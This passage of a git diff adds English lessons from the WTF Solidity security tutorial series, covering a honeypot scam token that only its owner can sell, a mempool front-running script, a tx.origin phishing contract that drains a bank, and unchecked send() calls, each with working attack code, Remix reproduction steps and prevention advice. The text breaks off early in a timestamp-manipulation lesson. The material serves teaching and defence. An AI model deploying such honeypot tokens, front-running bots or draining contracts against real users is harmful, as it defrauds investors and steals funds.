// Sort tokenA and tokenB in ascending order + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // calculate pair address + pair = address(uint160(uint(keccak256(abi.encodePacked( + hex'ff', + factory, + salt, + hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' + ))))); + } + + /** + * Mint function, can only be called by the contract owner + */ + function mint(address to, uint amount) public onlyOwner { + _mint(to, amount); + } + + /** + * @dev See {ERC20-_beforeTokenTransfer}. + * Honeypot function: Only the contract owner can sell + */ + function _beforeTokenTransfer( + address from, + address to, + uint256 amount + ) internal virtual override { + super._beforeTokenTransfer(from, to, amount); + // Revert if the transfer target address is the LP contract + if(to == pair){ + require(from == owner(), "Can not Transfer"); + } + } +} +``` + +## Reproduce on `Remix` + +We will deploy the `Pixiu` contract on the `Goerli` testnet and demonstrate it on the `uniswap` exchange. + +1. Deploy the `Pixiu` contract. + ![](./img/S10-2.png) + +2. Call the `mint()` function to mint `100000` Pixiu tokens for yourself. + ![](./img/S10-3.png) + +3. Go to the [uniswap](https://app.uniswap.org/#/add/v2/ETH) exchange, create liquidity for Pixiu tokens (v2), and provide `10000` Pixiu tokens and `0.1` ETH. + ![](./img/S10-4.png) + +4. Sell `100` Pixiu tokens, the operation is successful. + ![](./img/S10-5.png) + +5. Switch to another account and buy Pixiu tokens with `0.01` ETH, the operation is successful. + ![](./img/S10-6.png) + +6. When selling Pixiu tokens, the transaction cannot be executed. + ![](./img/S10-7.png) + +## How to Prevent + +Pixiu tokens are the most common scam that retail investors encounter on the blockchain, and they come in various forms, making prevention very difficult. We have the following suggestions to reduce the risk of falling victim to Pixiu scams: + +1. Check if the contract is open source on a blockchain explorer (e.g., [etherscan](https://etherscan.io/)). If it is open source, analyze its code for Pixiu vulnerabilities. + +2. If you don't have programming skills, you can use Pixiu identification tools such as [Token Sniffer](https://tokensniffer.com/) and [Ave Check](https://ave.ai/check). If the score is low, it is likely to be a Pixiu token. + +3. Look for audit reports of the project. + +4. Carefully examine the project's official website and social media. + +5. Only invest in projects you understand and do thorough research (DYOR). + +## Conclusion + +In this lesson, we introduced the Pixiu contract and methods to prevent falling victim to Pixiu scams. Pixiu scams are a common experience for retail investors, and we all despise them. Additionally, there have been Pixiu NFTs recently, where malicious project owners modify the transfer or approval functions of ERC721 tokens, preventing ordinary investors from selling them. Understanding the principles of the Pixiu contract and how to prevent can significantly reduce the chances of encountering Pixiu scams, making your funds more secure. Keep learning and stay safe. diff --git a/Languages/en/S11_Frontrun_en/Frontrun.sol b/Languages/en/S11_Frontrun_en/Frontrun.sol new file mode 100644 index 000000000..396582cf4 --- /dev/null +++ b/Languages/en/S11_Frontrun_en/Frontrun.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +// By 0xAA +// english translation by 22X +pragma solidity ^0.8.4; +import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; + +// We attempt to frontrun a Free mint transaction +contract FreeMint is ERC721 { + uint256 totalSupply; + + // Constructor, initializes the name and symbol of the NFT collection + constructor() ERC721("Free Mint NFT", "FreeMint"){} + + // Mint function + function mint() external { + _mint(msg.sender, totalSupply); // mint + totalSupply++; + } +} \ No newline at end of file diff --git a/Languages/en/S11_Frontrun_en/frontrun.js b/Languages/en/S11_Frontrun_en/frontrun.js new file mode 100644 index 000000000..71ebe673b --- /dev/null +++ b/Languages/en/S11_Frontrun_en/frontrun.js @@ -0,0 +1,83 @@ +// english translation by 22X + +// provider.on("pending", listener) +import { ethers, utils } from "ethers"; + +// 1. Create provider +var url = "http://127.0.0.1:8545"; +const provider = new ethers.providers.WebSocketProvider(url); +let network = provider.getNetwork(); +network.then(res => + console.log( + `[${new Date().toLocaleTimeString()}] Connected to chain ID ${res.chainId}`, + ), +); + +// 2. Create interface object for decoding transaction details. +const iface = new utils.Interface(["function mint() external"]); + +// 3. Create wallet for sending frontrun transactions. +const privateKey = + "0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a"; +const wallet = new ethers.Wallet(privateKey, provider); + +const main = async () => { + // 4. Listen for pending mint transactions, get transaction details, and decode them. + console.log("\n4. Listen for pending transactions, get txHash, and output transaction details."); + provider.on("pending", async txHash => { + if (txHash) { + // Get transaction details + let tx = await provider.getTransaction(txHash); + if (tx) { + // Filter pendingTx.data + if ( + tx.data.indexOf(iface.getSighash("mint")) !== -1 && + tx.from != wallet.address + ) { + // Print txHash + console.log( + `\n[${new Date().toLocaleTimeString()}] Listening to Pending transaction: ${txHash} \r`, + ); + + // Print decoded transaction details + let parsedTx = iface.parseTransaction(tx); + console.log("Decoded pending transaction details:"); + console.log(parsedTx); + // Decode input data + console.log("Raw transaction:"); + console.log(tx); + + // Build frontrun tx + const txFrontrun = { + to: tx.to, + value: tx.value, + maxPriorityFeePerGas: tx.maxPriorityFeePerGas * 1.2, + maxFeePerGas: tx.maxFeePerGas * 1.2, + gasLimit: tx.gasLimit * 2, + data: tx.data, + }; + // Send frontrun transaction + var txResponse = await wallet.sendTransaction(txFrontrun); + console.log(`Sending frontrun transaction`); + await txResponse.wait(); + console.log(`Frontrun transaction successful`); + } + } + } + }); + + provider._websocket.on("error", async () => { + console.log(`Unable to connect to ${ep.subdomain} retrying in 3s...`); + setTimeout(init, 3000); + }); + + provider._websocket.on("close", async code => { + console.log( + `Connection lost with code ${code}! Attempting reconnect in 3s...`, + ); + provider._websocket.terminate(); + setTimeout(init, 3000); + }); +}; + +main(); diff --git a/Languages/en/S11_Frontrun_en/img/S11-1.png b/Languages/en/S11_Frontrun_en/img/S11-1.png new file mode 100644 index 000000000..2fac0441c Binary files /dev/null and b/Languages/en/S11_Frontrun_en/img/S11-1.png differ diff --git a/Languages/en/S11_Frontrun_en/img/S11-2.png b/Languages/en/S11_Frontrun_en/img/S11-2.png new file mode 100644 index 000000000..f0c4c2b93 Binary files /dev/null and b/Languages/en/S11_Frontrun_en/img/S11-2.png differ diff --git a/Languages/en/S11_Frontrun_en/img/S11-3.png b/Languages/en/S11_Frontrun_en/img/S11-3.png new file mode 100644 index 000000000..a4e46633e Binary files /dev/null and b/Languages/en/S11_Frontrun_en/img/S11-3.png differ diff --git a/Languages/en/S11_Frontrun_en/img/S11-4.png b/Languages/en/S11_Frontrun_en/img/S11-4.png new file mode 100644 index 000000000..8314df0f5 Binary files /dev/null and b/Languages/en/S11_Frontrun_en/img/S11-4.png differ diff --git a/Languages/en/S11_Frontrun_en/package.json b/Languages/en/S11_Frontrun_en/package.json new file mode 100644 index 000000000..cdb1f7bdc --- /dev/null +++ b/Languages/en/S11_Frontrun_en/package.json @@ -0,0 +1,15 @@ +{ + "name": "ethers_examples", + "version": "1.0.0", + "description": "Minimal Tutorial to Ethers.js", + "type": "module", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "0xAA", + "license": "MIT", + "dependencies": { + "ethers": "^5.7.1", + "merkletreejs": "^0.2.32" + } +} diff --git a/Languages/en/S11_Frontrun_en/readme.md b/Languages/en/S11_Frontrun_en/readme.md new file mode 100644 index 000000000..99a925000 --- /dev/null +++ b/Languages/en/S11_Frontrun_en/readme.md @@ -0,0 +1,181 @@ +--- +title: S11. Front-running +tags: + - solidity + - security + - erc721 +--- + +# WTF Solidity S11. Front-running + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce front-running in smart contracts. According to statistics, arbitrageurs on Ethereum have made $1.2 billion through sandwich attacks. + +## Front-running + +### Traditional Front-running +Front-running originated in traditional financial markets as a purely profit-driven competition. In financial markets, information asymmetry gave rise to financial intermediaries who could profit by being the first to know certain industry information and react to it. These attacks primarily occurred in stock market trading and early domain name registrations. + +In September 2021, Nate Chastain, the product lead of the NFT marketplace OpenSea, was found to profit by front-running the purchase of NFTs that would be featured on the OpenSea homepage. He used insider information to gain an unfair information advantage, buying the NFTs before they were showcased on the homepage and then selling them after they appeared. However, someone discovered this illegal activity by matching the timestamp of the NFT transactions with the problematic NFTs promoted on the OpenSea homepage, and Nate was taken to court. + +Another example of traditional front-running is insider trading in tokens before they are listed on well-known exchanges like [Binance](https://www.wsj.com/articles/crypto-might-have-an-insider-trading-problem-11653084398?mod=hp_lista_pos4) or [Coinbase](https://www.protocol.com/fintech/coinbase-crypto-insider-trading). Traders with insider information buy in advance, and when the listing announcement is made, the token price significantly increases, allowing the front-runners to sell for a profit. + +### On-chain Front-running + +On-chain front-running refers to searchers or miners inserting their own transactions ahead of others by increasing gas or using other methods to capture value. In blockchain, miners can profit by packaging, excluding, or reordering transactions in the blocks they generate, and MEV is the measure of this profit. + +Before a user's transaction is included in the Ethereum blockchain by miners, most transactions gather in the Mempool, where miners look for high-fee transactions to prioritize for block inclusion and maximize their profits. Generally, transactions with higher gas prices are more likely to be included. Additionally, some MEV bots search for profitable transactions in the Mempool. For example, a swap transaction with a high slippage setting in a decentralized exchange may be subject to a sandwich attack: an arbitrageur inserts a buy order before the transaction and a sell order after, profiting from it. This effectively inflates the market price. + +![](./img/S11-1.png) + +## Front-running in Practice + +If you learn front-running, you can consider yourself an entry-level crypto scientist. Next, let's practice front-running a transaction for minting an NFT. The tools we will use are: +- `Foundry`'s `anvil` tool to set up a local test chain. Please install [foundry](https://book.getfoundry.sh/getting-started/installation) in advance. +- `Remix` for deploying and minting the NFT contract. +- `etherjs` script to listen to the Mempool and perform front-running. + +**1. Start the Foundry Local Test Chain:** After installing `foundry`, enter `anvil --chain-id 1234 -b 10` in the command line to set up a local test chain with a chain ID of 1234 and a block produced every 10 seconds. Once set up, it will display the addresses and private keys of some test accounts, each with 10000 ETH. You can use them for testing. + +![](./img/S11-2.png) + +**2. Connect Remix to the Test Chain:** Open the deployment page in Remix, open the `Environment` dropdown menu in the top left corner, and select `Foundry Provider` to connect Remix to the test chain. + +![](./img/S11-3.png) + +**3. Deploy the NFT Contract:** Deploy a simple freemint NFT contract on Remix. It has a `mint()` function for free NFT minting. + +```solidity +// SPDX-License-Identifier: MIT +// By 0xAA +// english translation by 22X +pragma solidity ^0.8.4; +import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; + +// We attempt to frontrun a Free mint transaction +contract FreeMint is ERC721 { + uint256 totalSupply; + + // Constructor, initializes the name and symbol of the NFT collection + constructor() ERC721("Free Mint NFT", "FreeMint"){} + + // Mint function + function mint() external { + _mint(msg.sender, totalSupply); // mint + totalSupply++; + } +} +``` + +**4. Deploy the ethers.js front-running script:** In simple terms, the `frontrun.js` script listens to pending transactions in the test chain's mempool, filters out transactions that call `mint()`, and then duplicates and increases the gas to front-run them. If you are not familiar with `ether.js`, you can read the [WTF Ethers](https://github.com/WTFAcademy/WTF-Ethers) tutorial. + +```js +// provider.on("pending", listener) +import { ethers, utils } from "ethers"; + +// 1. Create provider +var url = "http://127.0.0.1:8545"; +const provider = new ethers.providers.WebSocketProvider(url); +let network = provider.getNetwork(); +network.then(res => + console.log( + `[${new Date().toLocaleTimeString()}] Connected to chain ID ${res.chainId}`, + ), +); + +// 2. Create interface object for decoding transaction details. +const iface = new utils.Interface(["function mint() external"]); + +// 3. Create wallet for sending frontrun transactions. +const privateKey = + "0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a"; +const wallet = new ethers.Wallet(privateKey, provider); + +const main = async () => { + // 4. Listen for pending mint transactions, get transaction details, and decode them. + console.log("\n4. Listen for pending transactions, get txHash, and output transaction details."); + provider.on("pending", async txHash => { + if (txHash) { + // Get transaction details + let tx = await provider.getTransaction(txHash); + if (tx) { + // Filter pendingTx.data + if ( + tx.data.indexOf(iface.getSighash("mint")) !== -1 && + tx.from != wallet.address + ) { + // Print txHash + console.log( + `\n[${new Date().toLocaleTimeString()}] Listening to Pending transaction: ${txHash} \r`, + ); + + // Print decoded transaction details + let parsedTx = iface.parseTransaction(tx); + console.log("Decoded pending transaction details:"); + console.log(parsedTx); + // Decode input data + console.log("Raw transaction:"); + console.log(tx); + + // Build frontrun tx + const txFrontrun = { + to: tx.to, + value: tx.value, + maxPriorityFeePerGas: tx.maxPriorityFeePerGas * 1.2, + maxFeePerGas: tx.maxFeePerGas * 1.2, + gasLimit: tx.gasLimit * 2, + data: tx.data, + }; + // Send frontrun transaction + var txResponse = await wallet.sendTransaction(txFrontrun); + console.log(`Sending frontrun transaction`); + await txResponse.wait(); + console.log(`Frontrun transaction successful`); + } + } + } + }); + + provider._websocket.on("error", async () => { + console.log(`Unable to connect to ${ep.subdomain} retrying in 3s...`); + setTimeout(init, 3000); + }); + + provider._websocket.on("close", async code => { + console.log( + `Connection lost with code ${code}! Attempting reconnect in 3s...`, + ); + provider._websocket.terminate(); + setTimeout(init, 3000); + }); +}; + +main(); +``` + +**5. Call the `mint()` function:** Call the `mint()` function of the Freemint contract on the deployment page of Remix to mint an NFT. + +**6. Script detects and frontruns the transaction:** We can see in the terminal that the `frontrun.js` script successfully detects the transaction and frontruns it. If you call the `ownerOf()` function of the NFT contract to check the owner of `tokenId` 0, and it matches the wallet address in the frontrun script, it proves that the frontrun was successful!. +![](./img/S11-4.png) + +## How to Prevent + +Frontrunning is a common issue on Ethereum and other public blockchains. While we cannot eliminate it entirely, we can reduce the profitability of frontrunning by minimizing the importance of transaction order or time: + +- Use a commit-reveal scheme. +- Use dark pools, where user transactions bypass the public mempool and go directly to miners. Examples include flashbots and TaiChi. + +## Summary + +In this lesson, we introduced frontrunning on Ethereum, also known as a frontrun. This attack pattern, originating from the traditional finance industry, is easier to execute in blockchain because all transaction information is public. We performed a frontrun on a specific transaction: frontrunning a transaction to mint an NFT. When similar transactions are needed, it is best to support hidden mempools or implement measures such as batch auctions to limit frontrunning. Frontrunning is a common issue on Ethereum and other public blockchains, and while we cannot eliminate it entirely, we can reduce the profitability of frontrunning by minimizing the importance of transaction order or time. diff --git a/Languages/en/S12_TxOrigin_en/PhishingWithTxOrigin.sol b/Languages/en/S12_TxOrigin_en/PhishingWithTxOrigin.sol new file mode 100644 index 000000000..4af735145 --- /dev/null +++ b/Languages/en/S12_TxOrigin_en/PhishingWithTxOrigin.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.17; +contract Bank { + address public owner; // Records the owner of the contract + + // Assigns the value to the owner variable when the contract is created + constructor() payable { + owner = msg.sender; + } + + function transfer(address payable _to, uint _amount) public { + // Check the message origin !!! There may be phishing risks if the owner is induced to call this function! + require(tx.origin == owner, "Not owner"); + // Transfer ETH + (bool sent, ) = _to.call{value: _amount}(""); + require(sent, "Failed to send Ether"); + } +} + +contract Attack { + // Beneficiary address + address payable public hacker; + // Bank contract address + Bank bank; + + constructor(Bank _bank) { + // Forces the conversion of the address type _bank to the Bank type + bank = Bank(_bank); + // Assigns the beneficiary address to the deployer's address + hacker = payable(msg.sender); + } + + function attack() public { + // Induces the owner of the Bank contract to call, transferring all the balance to the hacker's address + bank.transfer(hacker, address(bank).balance); + } +} \ No newline at end of file diff --git a/Languages/en/S12_TxOrigin_en/img/S12-2.jpg b/Languages/en/S12_TxOrigin_en/img/S12-2.jpg new file mode 100644 index 000000000..78e666c44 Binary files /dev/null and b/Languages/en/S12_TxOrigin_en/img/S12-2.jpg differ diff --git a/Languages/en/S12_TxOrigin_en/img/S12-3.jpg b/Languages/en/S12_TxOrigin_en/img/S12-3.jpg new file mode 100644 index 000000000..d5c3fb1e4 Binary files /dev/null and b/Languages/en/S12_TxOrigin_en/img/S12-3.jpg differ diff --git a/Languages/en/S12_TxOrigin_en/img/S12-4.jpg b/Languages/en/S12_TxOrigin_en/img/S12-4.jpg new file mode 100644 index 000000000..58909597c Binary files /dev/null and b/Languages/en/S12_TxOrigin_en/img/S12-4.jpg differ diff --git a/Languages/en/S12_TxOrigin_en/img/S12_1.jpg b/Languages/en/S12_TxOrigin_en/img/S12_1.jpg new file mode 100644 index 000000000..fcb7b7b59 Binary files /dev/null and b/Languages/en/S12_TxOrigin_en/img/S12_1.jpg differ diff --git a/Languages/en/S12_TxOrigin_en/readme.md b/Languages/en/S12_TxOrigin_en/readme.md new file mode 100644 index 000000000..700e82beb --- /dev/null +++ b/Languages/en/S12_TxOrigin_en/readme.md @@ -0,0 +1,141 @@ +--- +title: S12. tx.origin Phishing Attack +tags: + - solidity + - security + - tx.origin +--- + +# WTF Solidity S12. tx.origin Phishing Attack + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will discuss the `tx.origin` phishing attack and prevention methods in smart contracts. + +## `tx.origin` Phishing Attack + +When I was in middle school, I loved playing games. However, the game developers implemented an anti-addiction system that only allowed players who were over 18 years old, as verified by their ID card number, to play without restrictions. So, what did I do? I used my parent's ID card number to bypass the system and successfully circumvented the anti-addiction measures. This example is similar to the `tx.origin` phishing attack. + +In Solidity, `tx.origin` is used to obtain the original address that initiated the transaction. It is similar to `msg.sender`. Let's differentiate between them with an example. + +If User A calls Contract B, and then Contract B calls Contract C, from the perspective of Contract C, `msg.sender` is Contract B, and `tx.origin` is User A. If you are not familiar with the `call` mechanism, you can read [WTF Solidity 22: Call](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/22_Call_en/readme.md). + +![](./img/S12_1.jpg) + +Therefore, if a bank contract uses `tx.origin` for identity authentication, a hacker can deploy an attack contract and then induce the owner of the bank contract to call it. Even if `msg.sender` is the address of the attack contract, `tx.origin` will be the address of the bank contract owner, allowing the transfer to succeed. + +## Vulnerable Contract Example + +### Bank Contract + +Let's take a look at the bank contract. It is very simple and includes an `owner` state variable to record the contract owner. It has a constructor and a `public` function: + +- Constructor: Assigns a value to the `owner` variable when the contract is created. +- `transfer()`: This function takes two parameters, `_to` and `_amount`. It first checks `tx.origin == owner` and then transfers `_amount` ETH to `_to`. **Note: This function is vulnerable to phishing attacks!** + +```solidity +contract Bank { + address public owner; // Records the owner of the contract + + // Assigns the value to the owner variable when the contract is created + constructor() payable { + owner = msg.sender; + } + + function transfer(address payable _to, uint _amount) public { + // Check the message origin !!! There may be phishing risks if the owner is induced to call this function! + require(tx.origin == owner, "Not owner"); + // Transfer ETH + (bool sent, ) = _to.call{value: _amount}(""); + require(sent, "Failed to send Ether"); + } +} +``` + +### Attack Contract + +Next is the attack contract, which has a simple attack logic. It constructs an `attack()` function to perform phishing and transfer the balance of the bank contract owner to the hacker. It has two state variables, `hacker` and `bank`, to record the hacker's address and the address of the bank contract to be attacked. + +It includes `2` functions: + +- Constructor: Initializes the `bank` contract address. +- `attack()`: The attack function that requires the `owner` address of the bank contract to call. When the `owner` calls the attack contract, the attack contract calls the `transfer()` function of the bank contract. After confirming `tx.origin == owner`, it transfers the entire balance from the bank contract to the hacker's address. + +```solidity +contract Attack { + // Beneficiary address + address payable public hacker; + // Bank contract address + Bank bank; + + constructor(Bank _bank) { + // Forces the conversion of the address type _bank to the Bank type + bank = Bank(_bank); + // Assigns the beneficiary address to the deployer's address + hacker = payable(msg.sender); + } + + function attack() public { + // Induces the owner of the Bank contract to call, transferring all the balance to the hacker's address + bank.transfer(hacker, address(bank).balance); + } +} +``` + +## Reproduce on `Remix` + +**1.** Set the `value` to 10ETH, then deploy the `Bank` contract, and the owner address `owner` is initialized as the deployed contract address. + +![](./img/S12-2.jpg) + +**2.** Switch to another wallet as the hacker wallet, fill in the address of the bank contract to be attacked, and then deploy the `Attack` contract. The hacker address `hacker` is initialized as the deployed contract address. + +![](./img/S12-3.jpg) + +**3.** Switch back to the `owner` address. At this point, we were induced to call the `attack()` function of the `Attack` contract. As a result, the balance of the `Bank` contract is emptied, and the hacker's address gains 10ETH. + +![](./img/S12-4.jpg) + +## Prevention Methods + +Currently, there are two main methods to prevent potential `tx.origin` phishing attacks. + +### 1. Use `msg.sender` instead of `tx.origin` + +`msg.sender` can obtain the address of the direct caller of the current contract. By verifying `msg.sender`, the entire calling process can be protected from external attack contracts. + +```solidity +function transfer(address payable _to, uint256 _amount) public { + require(msg.sender == owner, "Not owner"); + + (bool sent, ) = _to.call{value: _amount}(""); + require(sent, "Failed to send Ether"); +} +``` + +### 2. Verify `tx.origin == msg.sender` + +If you must use `tx.origin`, you can also verify that `tx.origin` is equal to `msg.sender`. This can prevent external contract calls from interfering with the current contract. However, the downside is that other contracts will not be able to call this function. + +```solidity + function transfer(address payable _to, uint _amount) public { + require(tx.origin == owner, "Not owner"); + require(tx.origin == msg.sender, "can't call by external contract"); + (bool sent, ) = _to.call{value: _amount}(""); + require(sent, "Failed to send Ether"); + } +``` + +## Summary + +In this lesson, we discussed the `tx.origin` phishing attack in smart contracts. There are two methods to prevent it: using `msg.sender` instead of `tx.origin`, or checking `tx.origin == msg.sender`. It is recommended to use the first method, as the latter will reject all calls from other contracts. diff --git a/Languages/en/S13_UncheckedCall_en/UncheckedCall.sol b/Languages/en/S13_UncheckedCall_en/UncheckedCall.sol new file mode 100644 index 000000000..11d99d24d --- /dev/null +++ b/Languages/en/S13_UncheckedCall_en/UncheckedCall.sol @@ -0,0 +1,57 @@ +// SPDX-License-Identifier: MIT +// by 0xAA +// english translation by 22X +pragma solidity ^0.8.4; + +contract UncheckedBank { + mapping (address => uint256) public balanceOf; // Balance mapping + + // Deposit ether and update balance + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Withdraw all ether from msg.sender + function withdraw() external { + // Get the balance + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + balanceOf[msg.sender] = 0; + // Unchecked low-level call + bool success = payable(msg.sender).send(balance); + } + + // Get the balance of the bank contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + +contract Attack { + UncheckedBank public bank; // Bank contract address + + // Initialize the Bank contract address + constructor(UncheckedBank _bank) { + bank = _bank; + } + + // Callback function, transfer will fail + receive() external payable { + revert(); + } + + // Deposit function, set msg.value as the deposit amount + function deposit() external payable { + bank.deposit{value: msg.value}(); + } + + // Withdraw function, although the call is successful, the withdrawal actually fails + function withdraw() external payable { + bank.withdraw(); + } + + // Get the balance of this contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} diff --git a/Languages/en/S13_UncheckedCall_en/img/S13-1.png b/Languages/en/S13_UncheckedCall_en/img/S13-1.png new file mode 100644 index 000000000..853cc649c Binary files /dev/null and b/Languages/en/S13_UncheckedCall_en/img/S13-1.png differ diff --git a/Languages/en/S13_UncheckedCall_en/readme.md b/Languages/en/S13_UncheckedCall_en/readme.md new file mode 100644 index 000000000..e551d585e --- /dev/null +++ b/Languages/en/S13_UncheckedCall_en/readme.md @@ -0,0 +1,131 @@ +--- +title: S13. Unchecked Low-Level Calls +tags: + - solidity + - security + - transfer/send/call +--- + +# WTF Solidity S13. Unchecked Low-Level Calls + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +----- + +In this lesson, we will discuss the unchecked low-level calls in smart contracts. Failed low-level calls will not cause the transaction to roll back. If the contract forgets to check its return value, serious problems will often occur. + +## Low-Level Calls + +Low-level calls in Ethereum include `call()`, `delegatecall()`, `staticcall()`, and `send()`. These functions are different from other functions in Solidity. When an exception occurs, they do not pass it to the upper layer, nor do they cause the transaction to revert; they only return a boolean value `false` to indicate that the call failed. Therefore, if the return value of the low-level function call is not checked, the code of the upper layer function will continue to run regardless of whether the low-level call fails or not. For more information about low-level calls, please read [WTF Solidity 20-23](https://github.com/AmazingAng/WTF-Solidity) + +Calling `send()` is the most error-prone: some contracts use `send()` to send `ETH`, but `send()` limits the gas to be less than 2300, otherwise it will fail. When the callback function of the target address is more complicated, the gas spent will be higher than 2300, which will cause `send()` to fail. If the return value is not checked in the upper layer function at this time, the transaction will continue to execute, and unexpected problems will occur. In 2016, there was a chain game called `King of Ether`, which caused the refund to fail to be sent normally due to this vulnerability (["autopsy" report](https://www.kingoftheether.com/postmortem.html)). + +![](./img/S13-1.png) + +## Vulnerable Contract Example + +### Bank Contract + +This contract is modified based on the bank contract in the `S01 Reentrancy Attack` tutorial. It contains `1` state variable `balanceOf` to record the Ethereum balance of all users; and contains `3` functions: +- `deposit()`: deposit function, deposit `ETH` into the bank contract, and update the user's balance. +- `withdraw()`: withdrawal function, transfer the caller's balance to it. The specific steps are the same as the story above: check the balance, update the balance, and transfer. **Note: This function does not check the return value of `send()`, the withdrawal fails but the balance will be cleared!** +- `getBalance()`: Get the `ETH` balance in the bank contract. + +```solidity +contract UncheckedBank { + mapping (address => uint256) public balanceOf; // Balance mapping + + // Deposit ether and update balance + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Withdraw all ether from msg.sender + function withdraw() external { + // Get the balance + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + balanceOf[msg.sender] = 0; + // Unchecked low-level call + bool success = payable(msg.sender).send(balance); + } + + // Get the balance of the bank contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +## Attack Contract + +We constructed an attack contract, which depicts an unlucky depositor whose withdrawal failed but the bank balance was cleared: the `revert()` in the contract callback function `receive()` will roll back the transaction, so it cannot receive `ETH`; but the withdrawal function `withdraw()` can be called normally and clear the balance. + +```solidity +contract Attack { + UncheckedBank public bank; // Bank contract address + + // Initialize the Bank contract address + constructor(UncheckedBank _bank) { + bank = _bank; + } + + // Callback function, transfer will fail + receive() external payable { + revert(); + } + + // Deposit function, set msg.value as the deposit amount + function deposit() external payable { + bank.deposit{value: msg.value}(); + } + + // Withdraw function, although the call is successful, the withdrawal actually fails + function withdraw() external payable { + bank.withdraw(); + } + + // Get the balance of this contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +## Reproduce on `Remix` + +1. Deploy the `UncheckedBank` contract. + +2. Deploy the `Attack` contract, and fill in the `UncheckedBank` contract address in the constructor. + +3. Call the `deposit()` deposit function of the `Attack` contract to deposit `1 ETH`. + +4. Call the `withdraw()` withdrawal function of the `Attack` contract to withdraw, the call is successful. + +5. Call the `balanceOf()` function of the `UncheckedBank` contract and the `getBalance()` function of the `Attack` contract respectively. Although the previous call was successful and the depositor's balance was cleared, the withdrawal failed. + +## How to Prevent + +You can use the following methods to prevent the unchecked low-level call vulnerability: + +1. Check the return value of the low-level call. In the bank contract above, we can correct `withdraw()`: + ```solidity + bool success = payable(msg.sender).send(balance); + require(success, "Failed Sending ETH!") + ``` + +2. When transferring `ETH` in the contract, use `call()` and do reentrancy protection. + +3. Use the `Address` [library](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol) of `OpenZeppelin`, which encapsulates the low-level call that checks the return value. + +## Summary + +We introduced the vulnerability of unchecked low-level calls and how to prevent. Ethereum's low-level calls (`call`, `delegatecall`, `staticcall`, `send`) will return a boolean value `false` when they fail, but they will not cause the entire transaction to revert. If the developer does not check it, an accident will occur. \ No newline at end of file diff --git a/Languages/en/S14_TimeManipulation_en/readme.md b/Languages/en/S14_TimeManipulation_en/readme.md new file mode 100644 index 000000000..fcfb2d7e9 --- /dev/null +++ b/Languages/en/S14_TimeManipulation_en/readme.md @@ -0,0 +1,144 @@ +--- +title: S14. Block Timestamp Manipulation +tags: + - solidity + - security + - timestamp +--- + +# WTF Solidity S14. Block Timestamp Manipulation + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the block timestamp manipulation attack on smart contracts and reproduce it using Foundry. Before the merge, Ethereum miners can manipulate the block timestamp. If the pseudo-random number of the lottery contract 